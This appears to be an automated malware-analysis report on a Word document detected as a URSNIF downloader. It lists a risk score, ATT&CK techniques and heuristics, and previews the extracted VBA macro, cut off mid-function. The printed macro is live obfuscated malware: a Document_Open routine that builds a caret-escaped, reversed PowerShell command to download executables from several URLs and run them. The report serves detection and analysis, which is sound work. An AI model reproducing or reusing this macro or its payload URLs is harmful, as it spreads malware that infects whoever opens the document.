MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This function is used to execute a command constructed from concatenated strings, which appears to be an attempt to download and execute a secondary payload. The ClamAV detection as 'Doc.Downloader.URSNIF-6729855-3' further supports its role as a downloader.
Heuristics 5
-
ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5594 bytes |
SHA-256: cca52866c0689dd623ddfc81e0aea21333f06370c8afdfc5be9d3c29ee6402d6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "SiIdjLsHAK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Hour "uuSuaQKZE" + "BncbMW"
VBA.Shell CleanString(hDi) + zwTmzzLdznFhwK + uTFraNSZM + PpnsEQXZqY + AGVQCKssFIj + IUBNOzj + KkpCvlwSvGiM + AEAWtQMYWmkcSW, 49 - 49
Hour "tab" + "Bs"
End Sub
Attribute VB_Name = "JwzrkHQGizaJ"
Function PpnsEQXZqY()
On _
Error _
Resume _
Next
Hour "ZMkz" + "2926" + "oncE" + "r"
Hour "jjiqE" + "nspO"
Hour "3588" + "tPzWXfm" + "l" + "zfbImra"
Hour "28974550" + "Hr"
Hour "ShbXJz" + "9282" + "ncm" + "sj"
uVOiE = "cmd /V^" + ":/" + "C" + Chr(1 + 1 + 0 + 3 + 29) + "s^e^" + "t ^x" + "^EA^" + "W= ^ ^" + " ^ ^ ^"
Hour "OnjwGnTms" + "368963570"
Hour "USQpkd" + "H" + "j" + "153240969"
Hour "250687502" + "355239414" + "VzrIQkdUKw" + "vHF"
Hour "168294423" + "tRlKDFJdBiuZiN"
RqNHfs = " ^" + " ^ ^ ^" + " ^" + " ^" + " ^ ^" + "}^}^{hc" + "t^ac" + "^}" + "^;k^"
Hour "sYqGoZVHdiPnNH" + "3576"
Hour "EpwKmapp" + "309738681" + "160283557" + "N"
CjWudFLBi = "a^" + "erb;dP" + "H$ m^et" + "^I-^" + "e^k^ovn" + "^I;)" + "^d^" + "P" + "H^$ ,"
Hour "1816" + "3466"
Hour "UKR" + "BwaKFcW"
Hour "74348632" + "Wii"
Hour "2798" + "J" + "Sq" + "SXqoABXWSRw"
jcPPirVHTA = "b^j^" + "E" + "^" + "$(^e^" + "l^i" + "^F^" + "d^a^o^l" + "n^w^oD^" + ".qN" + "l^$^{" + "^yr^" + "t^"
Hour "7029" + "jzZ"
Hour "iiMo" + "302280330"
Hour "zIrPjAoIqsz" + "IfAK"
Hour "8058" + "371660783" + "ZDWPdNuU" + "PsqZtjNsV"
Hour "6364" + "IQN" + "531461288" + "jwKFziPj"
Xziwl = "{)^F^" + "j^b" + "^$" + " n" + "i^" + " b^jE$(" + "^hc^" + "aero" + "^f^;"
Hour "OoZj" + "FkSp" + "Si" + "21463231"
Hour "OU" + "PATDjvm"
Hour "473416726" + "cJqqhf" + "EdGE" + "tjTuzwIrz"
Hour "206375660" + "8193"
nLcdHR = "'^" + "exe" + "^" + ".^'" + "+" + "w^q^A" + "^" + "$^+^'" + "^\^" + "'^+c"
Hour "J" + "ziohCpcBIv" + "zto" + "bb"
Hour "5165" + "ERZ" + "7124" + "7860"
Hour "5733" + "PsV"
Hour "297799450" + "325220545" + "lG" + "DZZ"
WkhWkNwr = "il^b^u^" + "p:vne" + "^$=d^PH" + "$;'^84^" + "7'^ ^=" + "^ ^wqA" + "^$;)'"
PpnsEQXZqY = uVOiE + RqNHfs + CjWudFLBi + jcPPirVHTA + Xziwl + nLcdHR + WkhWkNwr
Hour "YJCZzTBQ" + "VdXc" + "7470" + "7750"
Hour "270882754" + "wDQz"
Hour "V" + "4266" + "2836" + "QkfH"
Hour "OIUdd" + "Ff" + "DsSD" + "r"
End Function
Function AGVQCKssFIj()
On _
Error _
Resume _
Next
Hour "WFA" + "FBDORLnfsIjkfa" + "lziS" + "SJPGkC"
Hour "Qs" + "WzkszfKuT" + "ZpkBb" + "105129519"
Hour "CjT" + "205108452"
Hour "9459" + "QldfrzZ" + "7697" + "4350"
dtRmmbaFF = "@'(^" + "t^i^lpS" + ".^'" + "^8d^13" + "^D3i" + "G4n/mo" + "c^.^s" + "^or" + "p^gn^" + "icru" + "^os^tu" + "^o" + "//:p^t"
Hour "XJYsnrmXfwlwd" + "fO"
Hour "4524" + "H"
Hour "F" + "T"
wimjjEoirr = "^th@j" + "^a^1zvZ" + "K^U/" + "^" + "gr^" + "o^.^m" + "^" + "u^i" + "so^" + "p^my^" + "sc^i^f^" + "ic"
Hour "l" + "278774964"
Hour "311778797" + "5084"
Hour "DnYArHmw" + "UjvSwpRmi"
Hour "t" + "25240542"
Hour "4289" + "XFbNzwiqfXAXw" + "tUU" + "Wubth"
kOLHVYZ = "a" + "^p" + ".ved/" + "/:^p" + "^tt^h@" + "F8^" + "F^k" + "^BL" + "WG^Z"
Hour "HuJYLYOARiXo" + "417210530"
Hour "IFqo" + "OZ"
rwMFVaBQZXW = "/mc" + "^.t^e" + "ne" + "//^:pt" + "th@V4" + "mTWN9" + "Z^K" + "^i/^di." + "di^o"
Hour "4168" + "5105"
Hour "Y" + "f"
Hour "6180" + "6491" + "oKZZzvtP" + "500808604"
Hour "XzdqJHv" + "j"
YAAJjrm = "^l" + "^b" + "a^t" + "//:p^" + "tth^@^S" + "^" + "p" + "H^lm^L" + "^4/ti" + ".a" + "rev^am" + "^i" + "r^"
AGVQCKssFIj = dtRmmbaFF + wimjjEoirr + kOLHVYZ + rwMFVaBQZXW + YAAJjrm
Hour "Q" + "4667"
Hour "372778731" + "219862146" + "tzRDdwAK" + "hYcTwOXBPqOJj"
Hour "aaDRG" + "290404369"
Hour "fahsQ" + "bUpqZ"
End Function
Function IUBNOzj()
On _
Error _
Resume
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.